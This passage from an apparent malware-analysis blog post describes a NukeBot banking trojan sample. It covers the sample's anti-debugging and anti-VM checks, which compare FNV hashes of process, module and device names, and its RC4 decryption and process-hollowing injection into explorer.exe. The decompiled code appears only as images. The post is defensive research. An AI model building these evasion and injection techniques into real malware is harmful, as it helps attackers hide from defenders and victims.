https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjILzNyCE5NggKWUxT4qOMiH8g6aQrSYosoVQeNUzqGv9colHUiiU9mRYjQe-unp1PKaG0ttufTBazX6DGQl9oRhR4nzq_Zt0n9jo5PaiuOjzpatpv2nZoeSkR9xMkDM48dfjVbfGDiZvU/s640/nukebot_check_cpuid.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br> 1.2.1.4.&nbsp;Antidebug tricks:&nbsp;Walk running processes searching for wellknown process's names</p><p> The analyzed sample calls toolhelp32's functions to walk running processes. Again, it calculates the fowler-noll-vo hash foreach process name and compares against a set of precalculated hashes:&nbsp;0x4FAEA2EB, 0x689ED848, 0x57337435, 0xE8BC3AB9, 0x3C30BBA6, 0xA421254D, 0x26638D6A, 0xE3449C1. These hashes probably correspond to names such as vmtoolsd.exe and other well known processes associated to VMs and security products.From analyzed sample (IDA decompiled):<br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmAc3qXFjxhzaXKdCyIA9SIGcoWvBw4cwr61rFKP4v0i9ORCzQfWFrKHfpwXOqAVW9NOIYjwRjTz7Yy16x2d3pknUmjM8i9cTvF4ZKioiOrNC8BPNQSqMyot7Vzf1OF6Z3v2HmEedtH-Y/s400/nukebot_check_process_names.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmAc3qXFjxhzaXKdCyIA9SIGcoWvBw4cwr61rFKP4v0i9ORCzQfWFrKHfpwXOqAVW9NOIYjwRjTz7Yy16x2d3pknUmjM8i9cTvF4ZKioiOrNC8BPNQSqMyot7Vzf1OF6Z3v2HmEedtH-Y/s400/nukebot_check_process_names.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmAc3qXFjxhzaXKdCyIA9SIGcoWvBw4cwr61rFKP4v0i9ORCzQfWFrKHfpwXOqAVW9NOIYjwRjTz7Yy16x2d3pknUmjM8i9cTvF4ZKioiOrNC8BPNQSqMyot7Vzf1OF6Z3v2HmEedtH-Y/s400/nukebot_check_process_names.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmAc3qXFjxhzaXKdCyIA9SIGcoWvBw4cwr61rFKP4v0i9ORCzQfWFrKHfpwXOqAVW9NOIYjwRjTz7Yy16x2d3pknUmjM8i9cTvF4ZKioiOrNC8BPNQSqMyot7Vzf1OF6Z3v2HmEedtH-Y/s400/nukebot_check_process_names.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmAc3qXFjxhzaXKdCyIA9SIGcoWvBw4cwr61rFKP4v0i9ORCzQfWFrKHfpwXOqAVW9NOIYjwRjTz7Yy16x2d3pknUmjM8i9cTvF4ZKioiOrNC8BPNQSqMyot7Vzf1OF6Z3v2HmEedtH-Y/s400/nukebot_check_process_names.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmAc3qXFjxhzaXKdCyIA9SIGcoWvBw4cwr61rFKP4v0i9ORCzQfWFrKHfpwXOqAVW9NOIYjwRjTz7Yy16x2d3pknUmjM8i9cTvF4ZKioiOrNC8BPNQSqMyot7Vzf1OF6Z3v2HmEedtH-Y/s400/nukebot_check_process_names.png" width="365" height="400" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmAc3qXFjxhzaXKdCyIA9SIGcoWvBw4cwr61rFKP4v0i9ORCzQfWFrKHfpwXOqAVW9NOIYjwRjTz7Yy16x2d3pknUmjM8i9cTvF4ZKioiOrNC8BPNQSqMyot7Vzf1OF6Z3v2HmEedtH-Y/s400/nukebot_check_process_names.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:400,&quot;width&quot;:365,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmAc3qXFjxhzaXKdCyIA9SIGcoWvBw4cwr61rFKP4v0i9ORCzQfWFrKHfpwXOqAVW9NOIYjwRjTz7Yy16x2d3pknUmjM8i9cTvF4ZKioiOrNC8BPNQSqMyot7Vzf1OF6Z3v2HmEedtH-Y/s400/nukebot_check_process_names.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmAc3qXFjxhzaXKdCyIA9SIGcoWvBw4cwr61rFKP4v0i9ORCzQfWFrKHfpwXOqAVW9NOIYjwRjTz7Yy16x2d3pknUmjM8i9cTvF4ZKioiOrNC8BPNQSqMyot7Vzf1OF6Z3v2HmEedtH-Y/s400/nukebot_check_process_names.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmAc3qXFjxhzaXKdCyIA9SIGcoWvBw4cwr61rFKP4v0i9ORCzQfWFrKHfpwXOqAVW9NOIYjwRjTz7Yy16x2d3pknUmjM8i9cTvF4ZKioiOrNC8BPNQSqMyot7Vzf1OF6Z3v2HmEedtH-Y/s400/nukebot_check_process_names.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmAc3qXFjxhzaXKdCyIA9SIGcoWvBw4cwr61rFKP4v0i9ORCzQfWFrKHfpwXOqAVW9NOIYjwRjTz7Yy16x2d3pknUmjM8i9cTvF4ZKioiOrNC8BPNQSqMyot7Vzf1OF6Z3v2HmEedtH-Y/s400/nukebot_check_process_names.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br> 1.2.1.5.&nbsp;Antidebug tricks:&nbsp;Walk own process' modules searching for wellknown module' names</p><p> In addition, it walks the modules of the current process searching for wellknown libraries such as&nbsp;SbieDll.dll, etc... It compares the fowler-noll-vo hash of each module's name with the following set of hashes:&nbsp; 0xCC23DB0E, 0xCCFE57BB, 0x9FECD578, 0xE69D9465, 0xC55CC270, 0x601CDCE9, 0x9DF7C709, 0x23E9F2F5, 0x70E2598E, 0x2C82D8A, 0x99CC8618, 0xB62000C5. From analyzed sample (IDA decompiled):<br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR9s_xIh0vyhCyMvqeYwwC_DpACFtTk87Ut9EaQISZmLl906_w1XnPW0ro_Ti3cPxX_YvdjzVF3_vB-PmpcHV7KCCpl2kRtfGnyj90U_7cgFtSvuMva25p03MqDt4APQPSa2Y6x1-YvQ0/s640/nukebot_check_process_modules_names.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR9s_xIh0vyhCyMvqeYwwC_DpACFtTk87Ut9EaQISZmLl906_w1XnPW0ro_Ti3cPxX_YvdjzVF3_vB-PmpcHV7KCCpl2kRtfGnyj90U_7cgFtSvuMva25p03MqDt4APQPSa2Y6x1-YvQ0/s640/nukebot_check_process_modules_names.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR9s_xIh0vyhCyMvqeYwwC_DpACFtTk87Ut9EaQISZmLl906_w1XnPW0ro_Ti3cPxX_YvdjzVF3_vB-PmpcHV7KCCpl2kRtfGnyj90U_7cgFtSvuMva25p03MqDt4APQPSa2Y6x1-YvQ0/s640/nukebot_check_process_modules_names.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR9s_xIh0vyhCyMvqeYwwC_DpACFtTk87Ut9EaQISZmLl906_w1XnPW0ro_Ti3cPxX_YvdjzVF3_vB-PmpcHV7KCCpl2kRtfGnyj90U_7cgFtSvuMva25p03MqDt4APQPSa2Y6x1-YvQ0/s640/nukebot_check_process_modules_names.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR9s_xIh0vyhCyMvqeYwwC_DpACFtTk87Ut9EaQISZmLl906_w1XnPW0ro_Ti3cPxX_YvdjzVF3_vB-PmpcHV7KCCpl2kRtfGnyj90U_7cgFtSvuMva25p03MqDt4APQPSa2Y6x1-YvQ0/s640/nukebot_check_process_modules_names.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR9s_xIh0vyhCyMvqeYwwC_DpACFtTk87Ut9EaQISZmLl906_w1XnPW0ro_Ti3cPxX_YvdjzVF3_vB-PmpcHV7KCCpl2kRtfGnyj90U_7cgFtSvuMva25p03MqDt4APQPSa2Y6x1-YvQ0/s640/nukebot_check_process_modules_names.png" width="292" height="640" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR9s_xIh0vyhCyMvqeYwwC_DpACFtTk87Ut9EaQISZmLl906_w1XnPW0ro_Ti3cPxX_YvdjzVF3_vB-PmpcHV7KCCpl2kRtfGnyj90U_7cgFtSvuMva25p03MqDt4APQPSa2Y6x1-YvQ0/s640/nukebot_check_process_modules_names.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:640,&quot;width&quot;:292,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR9s_xIh0vyhCyMvqeYwwC_DpACFtTk87Ut9EaQISZmLl906_w1XnPW0ro_Ti3cPxX_YvdjzVF3_vB-PmpcHV7KCCpl2kRtfGnyj90U_7cgFtSvuMva25p03MqDt4APQPSa2Y6x1-YvQ0/s640/nukebot_check_process_modules_names.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR9s_xIh0vyhCyMvqeYwwC_DpACFtTk87Ut9EaQISZmLl906_w1XnPW0ro_Ti3cPxX_YvdjzVF3_vB-PmpcHV7KCCpl2kRtfGnyj90U_7cgFtSvuMva25p03MqDt4APQPSa2Y6x1-YvQ0/s640/nukebot_check_process_modules_names.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR9s_xIh0vyhCyMvqeYwwC_DpACFtTk87Ut9EaQISZmLl906_w1XnPW0ro_Ti3cPxX_YvdjzVF3_vB-PmpcHV7KCCpl2kRtfGnyj90U_7cgFtSvuMva25p03MqDt4APQPSa2Y6x1-YvQ0/s640/nukebot_check_process_modules_names.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR9s_xIh0vyhCyMvqeYwwC_DpACFtTk87Ut9EaQISZmLl906_w1XnPW0ro_Ti3cPxX_YvdjzVF3_vB-PmpcHV7KCCpl2kRtfGnyj90U_7cgFtSvuMva25p03MqDt4APQPSa2Y6x1-YvQ0/s640/nukebot_check_process_modules_names.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br> 1.2.1.6.&nbsp;Antidebug tricks:&nbsp;IsDebuggerPresent / CheckRemoteDebuggerPresent</p><p> Not necesary explanation, usual antidebug checks:<br><br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6lb3RO1bTMKW5t-6UeGW-DTkXTiVMOW3OhnzpNAS_2ix1GrErAXC-BDsorCx9jJ11n0eGy1EdwT9HbggR1tUVJfxAJNeqxiL42LE6MWAjBRgwLt9pMNdAKDC6sYK5tg7sdfmP2A92Joc/s400/nukebot_is_debugger.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6lb3RO1bTMKW5t-6UeGW-DTkXTiVMOW3OhnzpNAS_2ix1GrErAXC-BDsorCx9jJ11n0eGy1EdwT9HbggR1tUVJfxAJNeqxiL42LE6MWAjBRgwLt9pMNdAKDC6sYK5tg7sdfmP2A92Joc/s400/nukebot_is_debugger.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6lb3RO1bTMKW5t-6UeGW-DTkXTiVMOW3OhnzpNAS_2ix1GrErAXC-BDsorCx9jJ11n0eGy1EdwT9HbggR1tUVJfxAJNeqxiL42LE6MWAjBRgwLt9pMNdAKDC6sYK5tg7sdfmP2A92Joc/s400/nukebot_is_debugger.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6lb3RO1bTMKW5t-6UeGW-DTkXTiVMOW3OhnzpNAS_2ix1GrErAXC-BDsorCx9jJ11n0eGy1EdwT9HbggR1tUVJfxAJNeqxiL42LE6MWAjBRgwLt9pMNdAKDC6sYK5tg7sdfmP2A92Joc/s400/nukebot_is_debugger.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6lb3RO1bTMKW5t-6UeGW-DTkXTiVMOW3OhnzpNAS_2ix1GrErAXC-BDsorCx9jJ11n0eGy1EdwT9HbggR1tUVJfxAJNeqxiL42LE6MWAjBRgwLt9pMNdAKDC6sYK5tg7sdfmP2A92Joc/s400/nukebot_is_debugger.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6lb3RO1bTMKW5t-6UeGW-DTkXTiVMOW3OhnzpNAS_2ix1GrErAXC-BDsorCx9jJ11n0eGy1EdwT9HbggR1tUVJfxAJNeqxiL42LE6MWAjBRgwLt9pMNdAKDC6sYK5tg7sdfmP2A92Joc/s400/nukebot_is_debugger.png" width="400" height="167" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6lb3RO1bTMKW5t-6UeGW-DTkXTiVMOW3OhnzpNAS_2ix1GrErAXC-BDsorCx9jJ11n0eGy1EdwT9HbggR1tUVJfxAJNeqxiL42LE6MWAjBRgwLt9pMNdAKDC6sYK5tg7sdfmP2A92Joc/s400/nukebot_is_debugger.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:167,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6lb3RO1bTMKW5t-6UeGW-DTkXTiVMOW3OhnzpNAS_2ix1GrErAXC-BDsorCx9jJ11n0eGy1EdwT9HbggR1tUVJfxAJNeqxiL42LE6MWAjBRgwLt9pMNdAKDC6sYK5tg7sdfmP2A92Joc/s400/nukebot_is_debugger.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6lb3RO1bTMKW5t-6UeGW-DTkXTiVMOW3OhnzpNAS_2ix1GrErAXC-BDsorCx9jJ11n0eGy1EdwT9HbggR1tUVJfxAJNeqxiL42LE6MWAjBRgwLt9pMNdAKDC6sYK5tg7sdfmP2A92Joc/s400/nukebot_is_debugger.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6lb3RO1bTMKW5t-6UeGW-DTkXTiVMOW3OhnzpNAS_2ix1GrErAXC-BDsorCx9jJ11n0eGy1EdwT9HbggR1tUVJfxAJNeqxiL42LE6MWAjBRgwLt9pMNdAKDC6sYK5tg7sdfmP2A92Joc/s400/nukebot_is_debugger.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6lb3RO1bTMKW5t-6UeGW-DTkXTiVMOW3OhnzpNAS_2ix1GrErAXC-BDsorCx9jJ11n0eGy1EdwT9HbggR1tUVJfxAJNeqxiL42LE6MWAjBRgwLt9pMNdAKDC6sYK5tg7sdfmP2A92Joc/s400/nukebot_is_debugger.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p><br> 1.2.1.7.&nbsp;Antidebug tricks:&nbsp;Query device' names</p><p> The analyzed sample calls QueryDosDeviceW to get a list of devices, and calculates the fowler-noll-vo hash foreach name, and then compares each name with a set of values:&nbsp; &nbsp;0x5C86B533, 0x7F65B61C, 0x464768AD, 0x9A781952. It tries to detect VM's common devices, such as vmci or HGFS. From analyzed sample (IDA decompiled):<br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aVKcYRO6NxxNtVO99l4q-2j_6e-lUyUZ163beN8qF1LnU3y47cL_wTJ9TtUqQ95iu3ODJJCsLMZ94PGYiDmrJGuS52g7ZQqzxI8nRIVbYWupWzeB_SzkbAyZspaISPLyaoU5gBSVd9Q/s400/nukebot_query_devices.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aVKcYRO6NxxNtVO99l4q-2j_6e-lUyUZ163beN8qF1LnU3y47cL_wTJ9TtUqQ95iu3ODJJCsLMZ94PGYiDmrJGuS52g7ZQqzxI8nRIVbYWupWzeB_SzkbAyZspaISPLyaoU5gBSVd9Q/s400/nukebot_query_devices.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aVKcYRO6NxxNtVO99l4q-2j_6e-lUyUZ163beN8qF1LnU3y47cL_wTJ9TtUqQ95iu3ODJJCsLMZ94PGYiDmrJGuS52g7ZQqzxI8nRIVbYWupWzeB_SzkbAyZspaISPLyaoU5gBSVd9Q/s400/nukebot_query_devices.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aVKcYRO6NxxNtVO99l4q-2j_6e-lUyUZ163beN8qF1LnU3y47cL_wTJ9TtUqQ95iu3ODJJCsLMZ94PGYiDmrJGuS52g7ZQqzxI8nRIVbYWupWzeB_SzkbAyZspaISPLyaoU5gBSVd9Q/s400/nukebot_query_devices.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aVKcYRO6NxxNtVO99l4q-2j_6e-lUyUZ163beN8qF1LnU3y47cL_wTJ9TtUqQ95iu3ODJJCsLMZ94PGYiDmrJGuS52g7ZQqzxI8nRIVbYWupWzeB_SzkbAyZspaISPLyaoU5gBSVd9Q/s400/nukebot_query_devices.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aVKcYRO6NxxNtVO99l4q-2j_6e-lUyUZ163beN8qF1LnU3y47cL_wTJ9TtUqQ95iu3ODJJCsLMZ94PGYiDmrJGuS52g7ZQqzxI8nRIVbYWupWzeB_SzkbAyZspaISPLyaoU5gBSVd9Q/s400/nukebot_query_devices.png" width="320" height="400" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aVKcYRO6NxxNtVO99l4q-2j_6e-lUyUZ163beN8qF1LnU3y47cL_wTJ9TtUqQ95iu3ODJJCsLMZ94PGYiDmrJGuS52g7ZQqzxI8nRIVbYWupWzeB_SzkbAyZspaISPLyaoU5gBSVd9Q/s400/nukebot_query_devices.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:400,&quot;width&quot;:320,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aVKcYRO6NxxNtVO99l4q-2j_6e-lUyUZ163beN8qF1LnU3y47cL_wTJ9TtUqQ95iu3ODJJCsLMZ94PGYiDmrJGuS52g7ZQqzxI8nRIVbYWupWzeB_SzkbAyZspaISPLyaoU5gBSVd9Q/s400/nukebot_query_devices.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aVKcYRO6NxxNtVO99l4q-2j_6e-lUyUZ163beN8qF1LnU3y47cL_wTJ9TtUqQ95iu3ODJJCsLMZ94PGYiDmrJGuS52g7ZQqzxI8nRIVbYWupWzeB_SzkbAyZspaISPLyaoU5gBSVd9Q/s400/nukebot_query_devices.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aVKcYRO6NxxNtVO99l4q-2j_6e-lUyUZ163beN8qF1LnU3y47cL_wTJ9TtUqQ95iu3ODJJCsLMZ94PGYiDmrJGuS52g7ZQqzxI8nRIVbYWupWzeB_SzkbAyZspaISPLyaoU5gBSVd9Q/s400/nukebot_query_devices.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aVKcYRO6NxxNtVO99l4q-2j_6e-lUyUZ163beN8qF1LnU3y47cL_wTJ9TtUqQ95iu3ODJJCsLMZ94PGYiDmrJGuS52g7ZQqzxI8nRIVbYWupWzeB_SzkbAyZspaISPLyaoU5gBSVd9Q/s400/nukebot_query_devices.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br> 1.2.2. Injection</p><p> The analyzed sample decrypts the third stage PE (the banking module) by using the RC4 algorithm + decompression. It creates an explorer.exe instance, and it will inject the decrypted PE into the address space of that explorer.exe instance (hollow process). From analyzed sample (IDA decompiled):<br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEju38qXWOLpejUAYwqzDVk1Aq_0y88Jjq2S1kQU84_OrqkgTWS_hQzTTIFa80ANrehQWKsUWelFHAz4gYgi63-E_P5_QTs7FUjDVQRYfh-F6kWixpJW4iFsiaeqMjGh6yRYP9QQ6cTcmuI/s640/nukebot_inject.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEju38qXWOLpejUAYwqzDVk1Aq_0y88Jjq2S1kQU84_OrqkgTWS_hQzTTIFa80ANrehQWKsUWelFHAz4gYgi63-E_P5_QTs7FUjDVQRYfh-F6kWixpJW4iFsiaeqMjGh6yRYP9QQ6cTcmuI/s640/nukebot_inject.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEju38qXWOLpejUAYwqzDVk1Aq_0y88Jjq2S1kQU84_OrqkgTWS_hQzTTIFa80ANrehQWKsUWelFHAz4gYgi63-E_P5_QTs7FUjDVQRYfh-F6kWixpJW4iFsiaeqMjGh6yRYP9QQ6cTcmuI/s640/nukebot_inject.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEju38qXWOLpejUAYwqzDVk1Aq_0y88Jjq2S1kQU84_OrqkgTWS_hQzTTIFa80ANrehQWKsUWelFHAz4gYgi63-E_P5_QTs7FUjDVQRYfh-F6kWixpJW4iFsiaeqMjGh6yRYP9QQ6cTcmuI/s640/nukebot_inject.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEju38qXWOLpejUAYwqzDVk1Aq_0y88Jjq2S1kQU84_OrqkgTWS_hQzTTIFa80ANrehQWKsUWelFHAz4gYgi63-E_P5_QTs7FUjDVQRYfh-F6kWixpJW4iFsiaeqMjGh6yRYP9QQ6cTcmuI/s640/nukebot_inject.png 1456w" sizes="100vw"><img 